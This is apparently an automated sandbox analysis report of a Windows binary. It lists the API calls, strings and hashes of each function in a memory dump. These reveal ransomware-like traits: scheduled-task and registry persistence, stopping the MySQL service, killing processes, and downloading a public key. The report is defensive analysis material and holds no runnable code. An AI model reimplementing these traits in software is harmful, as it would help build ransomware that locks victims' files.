Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

',', xrefs: 0046560B
fopen(', xrefs: 00465611
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

ENCRYPTED, xrefs: 004633BC
DEK-Info: , xrefs: 00463422
Proc-Type: , xrefs: 0046337C
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0042728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 52db3c5ac710bcba984e77d884e21c03200a6a5045cf61879664ec27deebefdc
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: 27718471F092399BDF30DA58EC98BAAB7B5EF54314F5440DAD908A6241D7389EC0CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789ABCDEF, xrefs: 004574D6
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
+, xrefs: 00457475
0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004273EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction ID: 6e53a8d943180cd312645f9ab6be848b87d00e26e6c43e5a6b33f09903c19296
Opcode Fuzzy Hash: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction Fuzzy Hash: AA515771F09139AFDF309A54DC99BAAB7B5EF04304F4400DAD908A6251D7799F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004273FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 8198ec34aa8999dc590647716f2dc488f85491d7af5cc04cf74bf98b0f8c793f
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: F2514471F05139AEDF309A68DC99BAAB7B5EF04304F4400DAE908A6251E7399F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
